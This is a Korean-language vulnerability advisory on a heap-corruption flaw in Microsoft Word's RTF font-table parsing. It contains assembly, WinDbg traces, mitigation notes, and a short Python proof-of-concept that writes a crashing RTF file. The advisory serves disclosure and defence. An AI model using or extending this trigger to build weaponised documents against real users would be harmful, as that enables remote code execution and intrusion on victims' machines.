
Microsoft Office의 wwlib 내 취약점으로 인해 공격자는 악성 RTF 문서를 여는 피해자의 권한으로 원격 코드 실행을 달성할 수 있습니다. 공격자는 이 파일을 이메일 첨부 파일(또는 다른 수단)로 전달할 수 있습니다.
Microsoft Office의 wwlib 내 취약점으로 인해 공격자는 악성 RTF 문서를 여는 피해자의 권한으로 원격 코드 실행을 달성할 수 있습니다. 공격자는 이 파일을 이메일 첨부 파일(또는 다른 수단)로 전달할 수 있습니다.
Microsoft Word는 Microsoft Office에 포함된 워드 프로세싱 애플리케이션입니다. 기본 설치 기준으로 Microsoft Word는 RTF(서식 있는 텍스트 형식, Rich-Text Format) 문서를 처리합니다. 이러한 문서는 주로 7비트 ASCII 기반 키워드로 구성되며, 이를 함께 사용하여 다양한 풍부한 콘텐츠를 캡슐화할 수 있습니다.
Microsoft Word의 RTF 파서는 과도한 수의 글꼴(\f###)을 포함하는 글꼴 표(\fonttbl)를 처리할 때 힙 손상 취약점이 발생합니다. 글꼴을 처리할 때 글꼴 ID 값(\f 뒤의 숫자)은 다음 코드에 의해 처리됩니다:
{% highlight asm %} 0d6cf0b6 0fbf0e movsx ecx,word ptr [esi] ; load base idx 0d6cf0b9 0fbf5602 movsx edx,word ptr [esi+2] ; load font idx 0d6cf0bd 8d1451 lea edx,[ecx+edx2] ; multiply by ~3 0d6cf0c0 668b08 mov cx,word ptr [eax] ; load the codepage value 0d6cf0c3 66894c5604 mov word ptr [esi+edx2+4],cx ; write the code page {% endhighlight %}
보시다시피, 글꼴 ID 값은 0xd6cf0c3의 "movsx" 명령에 의해 로드됩니다. 이 명령은 로드된 값을 부호 확장하여 edx의 상위 비트를 ffff로 채웁니다. 다음 디버거 발췌문은 런타임 동작을 보여줍니다:
*** edx will become: 0x17fc8 (from 0x7fec+0x7fee*2) *** edx will become: 0x17fc9 (from 0x7fed+0x7fee*2) *** edx will become: 0x17fde (from 0x7fee+0x7ff8*2) *** edx will become: 0x17fdf (from 0x7fef+0x7ff8*2) *** edx will become: 0x17fe0 (from 0x7ff0+0x7ff8*2) *** edx will become: 0x17fe1 (from 0x7ff1+0x7ff8*2) *** edx will become: 0x17fe2 (from 0x7ff2+0x7ff8*2) *** edx will become: 0x17fe3 (from 0x7ff3+0x7ff8*2) *** edx will become: 0x17fe4 (from 0x7ff4+0x7ff8*2) *** edx will become: 0x17fe5 (from 0x7ff5+0x7ff8*2) *** edx will become: 0x17fe6 (from 0x7ff6+0x7ff8*2) *** edx will become: 0x17fe7 (from 0x7ff7+0x7ff8*2) *** edx will become: 0xffff7ffc (from 0x7ff8+0xffff8002*2)
이런 경우 0xd6cf0c3의 메모리 쓰기 명령은 글꼴 코드 페이지를 esi에 보관된 메모리의 음수 오프셋에 기록하여 힙을 손상시킵니다. 다음 디버거 발췌문은 범위를 벗어난 메모리 쓰기를 보여줍니다.
*** writing 0x4e4 to 0xd35ddb4 [0xd32de20+0x17fc8*2+4] *** writing 0x4e4 to 0xd35ddb6 [0xd32de20+0x17fc9*2+4] *** writing 0x4e4 to 0xd35dde0 [0xd32de20+0x17fde*2+4] *** writing 0x4e4 to 0xd35dde2 [0xd32de20+0x17fdf*2+4] *** writing 0x4e4 to 0xd35dde4 [0xd32de20+0x17fe0*2+4] *** writing 0x4e4 to 0xd35dde6 [0xd32de20+0x17fe1*2+4] *** writing 0x4e4 to 0xd35dde8 [0xd32de20+0x17fe2*2+4] *** writing 0x4e4 to 0xd35ddea [0xd32de20+0x17fe3*2+4] *** writing 0x4e4 to 0xd35ddec [0xd32de20+0x17fe4*2+4] *** writing 0x4e4 to 0xd35ddee [0xd32de20+0x17fe5*2+4] *** writing 0x4e4 to 0xd35ddf0 [0xd32de20+0x17fe6*2+4] *** writing 0x4e4 to 0xd35ddf2 [0xd32de20+0x17fe7*2+4] *** writing 0x4e4 to 0xd31de1c [0xd32de20+0xffff7ffc*2+4]
이 메모리 손상 이후 추가 처리가 수행됩니다. 적절하게 조작된 힙 레이아웃을 사용하면 공격자가 힙 손상을 유발하여 임의 코드 실행을 얻을 수 있습니다.
아래에 제공된 개념 증명 코드를 사용하면 처리는 결국 후처리 정리 코드에 도달합니다. 예상대로 RtlFreeHeap이 호출되어 아래와 같이 힙 손상을 감지합니다.
Critical error detected c0000374 (3ba8.21f4): WOW64 breakpoint - code 4000001f (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. ntdll_77a40000!RtlReportCriticalFailure+0x4b: 77b27012 cc int 3 0:000:x86> kv # ChildEBP RetAddr Args to Child 00 008f3834 77b30114 00000001 77b63990 77b2e009 ntdll_77a40000!RtlReportCriticalFailure+0x4b (FPO: [Non-Fpo]) 01 008f3840 77b2e009 70dcf286 00000000 1ff78c20 ntdll_77a40000!RtlpReportHeapFailure+0x2f (FPO: [0,0,4]) 02 008f3870 77b36480 00000003 00a50000 1ff78c20 ntdll_77a40000!RtlpHpHeapHandleError+0x89 (FPO: [Non-Fpo]) 03 008f3888 77b2dd17 1ff78c20 0000000a 00000000 ntdll_77a40000!RtlpLogHeapFailure+0x43 (FPO: [Non-Fpo]) 04 008f38ec 77a83f8d 00a50258 70dcf0be 1ff78c20 ntdll_77a40000!RtlpAnalyzeHeapFailure+0x281 (FPO: [Non-Fpo]) 05 008f3a48 77ac7b9d 1ff78c20 1ff78c28 1ff78c28 ntdll_77a40000!RtlpFreeHeap+0x24d (FPO: [Non-Fpo]) 06 008f3aa4 77a83ce6 00000000 00000000 00000000 ntdll_77a40000!RtlpFreeHeapInternal+0x783 (FPO: [Non-Fpo]) 07 008f3ac4 05343c06 00a50000 00000000 1ff78c28 ntdll_77a40000!RtlFreeHeap+0x46 (FPO: [Non-Fpo]) 08 008f3adc 06e6e330 1ff78c28 06c8dc6d 08a11040 mso20win32client!Mso::Memory::Free+0x47 (FPO: [Non-Fpo]) 09 008f3b0c 0430b5af 08a1104c 08a11040 08a11044 mso!MsoFreePpv+0x84 (FPO: [Non-Fpo]) 0a 008f3b28 0430bed0 008f9f0c 008f586c ffffffff wwlib!FreeHribl+0x8c (FPO: [Non-Fpo]) 0b 008f3b70 033be323 40280000 00200002 1a772b98 wwlib!PdodCreateRtf+0x243 (FPO: [6,13,4]) 0c 008f52bc 02e465db 04012000 20280000 00200002 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x1e0966 0d 008f5600 03031155 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x321 (FPO: [Non-Fpo]) 0e 008f5680 0301583a 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4]) 0f 008f8c4c 030175d4 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0xf3b (FPO: [Non-Fpo]) 10 008f8d14 03c43d9b 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0]) 11 008f9e40 03c43a92 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2f6 (FPO: [Non-Fpo]) 12 008f9e7c 0343bd43 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0]) 13 008fb31c 02d17666 00000001 00000000 02d17609 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x271a8e 14 008fb554 02c594f5 71fc93df 7625f550 0000000a wwlib!Boot::IfrParseCommandLine2+0x5d (FPO: [Non-Fpo]) 15 008fb5c8 02c59317 008fb5f8 02c50000 02c58ff4 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo]) 16 008ff684 02c59058 96c6d88c 000800e4 71fcd0a7 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo]) 17 008ff6b8 00dd1917 00dd0000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo]) 18 008ff908 00dd114a 00dd0000 00000000 00a54944 winword!WinMain+0x146 (FPO: [Non-Fpo]) 19 008ff954 7625fa29 0069a000 7625fa10 008ff9c0 winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo]) 1a 008ff964 77aa7bbe 0069a000 70dc3336 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo]) 1b 008ff9c0 77aa7b8e ffffffff 77ac8d0f 00000000 ntdll_77a40000!__RtlUserThreadStart+0x2f (FPO: [SEH]) 1c 008ff9d0 00000000 00dd1000 0069a000 00000000 ntdll_77a40000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
분석가는 Page Heap을 사용하여 코드가 범위를 벗어난 쓰기를 시도하는지 확인할 수도 있습니다. 이를 수행하면 다음과 같은 결과가 나타납니다:
(afe8.9a5c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. wwlib!FSearchFtcmap+0x150: 0dc1f0c3 66894c5604 mov word ptr [esi+edx*2+4],cx ds:002b:1ebf2fec=???? 0:000:x86> kv # ChildEBP RetAddr Args to Child 00 0135135c 0dc0fa17 013513ec 00000001 013513d8 wwlib!FSearchFtcmap+0x150 (FPO: [Non-Fpo]) 01 01353828 0dc0ddb5 ddc5a2cb 0b3d3028 000ad400 wwlib!RtfInRare+0x1845 (FPO: [Non-Fpo]) 02 01353c5c 0ef5c473 00000200 0b3d3028 66565a58 wwlib!CchRtfInCore+0x28df (FPO: [Non-Fpo]) 03 01353eac 0ef5be04 0b3d302c 0135a294 01355bf4 wwlib!RtfGetChars+0x183 (FPO: [Non-Fpo]) 04 01353ef8 0e00e323 40280000 00200002 45646f10 wwlib!PdodCreateRtf+0x177 (FPO: [6,13,4]) 05 01355644 0da965db 04012000 20280000 00200002 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x1e0966 06 01355988 0dc81155 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x321 (FPO: [Non-Fpo]) 07 01355a08 0dc6583a 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4]) 08 01358fd4 0dc675d4 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0xf3b (FPO: [Non-Fpo]) 09 0135909c 0e893d9b 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0]) 0a 0135a1c8 0e893a92 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2f6 (FPO: [Non-Fpo]) 0b 0135a204 0e08bd43 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0]) 0c 0135b6a4 0d967666 00000001 00000000 0d967609 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x271a8e 0d 0135b8dc 0d8a94f5 ddc527df 7625f550 0000000a wwlib!Boot::IfrParseCommandLine2+0x5d (FPO: [Non-Fpo]) 0e 0135b954 0d8a9317 0135b984 0d8a0000 0d8a8ff4 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo]) 0f 0135fa10 0d8a9058 cbd5c9e4 00080138 ddc564d3 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo]) 10 0135fa44 00dd1917 00dd0000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo]) 11 0135fc94 00dd114a 00dd0000 00000000 05e18ff4 winword!WinMain+0x146 (FPO: [Non-Fpo]) 12 0135fce0 7625fa29 011cf000 7625fa10 0135fd4c winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo]) 13 0135fcf0 77aa7bbe 011cf000 96082e8a 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo]) 14 0135fd4c 77aa7b8e ffffffff 77ac8d34 00000000 ntdll_77a40000!__RtlUserThreadStart+0x2f (FPO: [SEH]) 15 0135fd5c 00000000 00dd1000 011cf000 00000000 ntdll_77a40000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
이 취약점은 최소한 다음 버전의 Microsoft Office에 영향을 미칩니다:
이전 버전도 영향을 받을 수 있지만 테스트되지는 않았습니다. 또한 이 취약점의 기술적 세부 사항은 수년에 걸쳐 진화해 왔습니다.
Microsoft Office 2010 이상에서는 신뢰할 수 없는 출처에서 가져온 악성 문서로 인한 피해를 제한하기 위해 보호된 보기(Protected View)를 사용합니다. 이 취약점이 발현될 때 보호된 보기가 적용되므로 완전한 권한을 얻으려면 추가적인 샌드박스 탈출 취약점이 필요합니다.
RTF 확장자에 대한 파일 연결을 제거하는 것은 효과적이지 않습니다. DOC 확장자를 사용해도 여전히 취약한 코드에 도달하기 때문입니다.
이 문제는 Joshua J. Drake(@jduck)가 발견, 분석 및 보고했습니다.
다음 Python 스크립트는 이 문제를 트리거하는 파일을 생성합니다:
{% highlight Python %} #!/usr/bin/python
import sys
num = 32761 if len(sys.argv) > 1: num = int(sys.argv[1])
f = open("tezt.rtf", "wb") f.write("{\rtf1{\n{\fonttbl") for i in range(num): f.write("{\f%dA;}\n" % i) f.write("}\n") f.write("{\rtlch it didn't crash?? no calc?! BOO!!!}\n") f.write("}}\n") f.close() {% endhighlight %}
이 잘못된 입력으로 Microsoft Word를 반복 실행하면 '안전 모드(Safe Mode)'와 파일별 차단 목록이 트리거됩니다. 피해자 사용자가 보게 될 동작을 관찰하려면 테스터는 재테스트 전에 '안전 모드' 플래그와 파일별 차단 목록을 플러시해야 합니다. 그렇지 않으면 '안전 모드'를 거부하고 '그래도 열기(Open Anyway)'를 클릭하는 것만으로도 재테스트에 충분합니다.
WinDbg에서 무거운 중단점(아래 제공된 것과 같은)을 사용하고 Page Heap을 활성화하면 시작 프로세스가 크게 느려질 수 있습니다. 연구자는 테스트 중 취약한 코드에 도달하지 못하는 상황을 관찰했습니다. 원인을 파악하는 데 최소한의 노력만 투자되었지만, Page Heap, 무거운 중단점, '새로운 기능(What's new)' 대화 상자 팝업의 조합과 관련된 것으로 보입니다.
다음 스크립트는 WinDbg에서 위 출력을 생성하는 데 사용되었습니다. 모든 발췌문은 Office 365 Insider Preview 2211 Build 15831.20122 CTR을 사용하여 얻었습니다.
* clear all breakpoints bc * * hide the debugger e ebx+2 00 * run until wwlib is loaded xe ld:wwlib g; wait * make the breakpoints * watch index calculations bp wwlib+0x37f0bd ".printf \"*** edx will become: 0x%x (from 0x%x+0x%x*2)\\n\", (ecx+edx*2), ecx, edx;gc" * watch the writes bp wwlib+0x37f0c3 ".printf \"*** writing 0x%x to 0x%x [0x%x+0x%x*2+4] (div 3: 0x%x)\\n\", ecx & 0xffff, (esi+(edx*2)+4), esi, edx, edx/3;gc" g